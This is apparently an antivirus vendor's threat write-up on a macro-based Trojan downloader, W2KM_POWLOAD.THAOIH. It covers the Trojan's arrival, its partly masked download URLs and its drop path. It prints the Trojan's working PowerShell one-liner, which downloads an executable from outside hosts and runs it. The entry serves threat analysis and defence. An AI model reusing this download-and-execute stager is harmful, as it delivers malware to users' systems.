W2KM_POWLOAD.THAOIH

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system. As of this writing, the said sites are inaccessible.

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• http://www.{BLOCKED}disana.com/b2suXtZ
• https://www.{BLOCKED}m.nu/q5BxW
• http://www.{BLOCKED}sinsweden.se/Qj4Y
• http://{BLOCKED}tory.fp.ub.ac.id/wp-content/EBNN
• http://www.{BLOCKED}iy.ru/cZLO/

It saves the files it downloads using the following names:

• %System Root%\Users\Public\{random numbers}.exe

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

As of this writing, the said sites are inaccessible.

Other Details

This Trojan does the following:

• It uses Powershell commands to download and execute a malicious file:
  $franc = new-object System.Net.WebClient;$nsadasd = new-object random;$bcd = 'http://www.{BLOCKED}disana.com/b2suXtZ/,https://www.{BLOCKED}m.nu/q5BxW/,http://www.{BLOCKED}nsweden.se/Qj4Y/,http://repository.fp.{BLOCKED}c.id/wp-content/EBNN/,http://www.{BLOCKED}iy.ru/cZLO/'.Split(',');$karapas = $nsadasd.next(1, 343245);$huas = $env:public + '\' + $karapas + '.exe';foreach($abc in $bcd){try{$franc.DownloadFile($abc.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message;}}

NOTES:

The document contains the following message details luring users to enable macro content: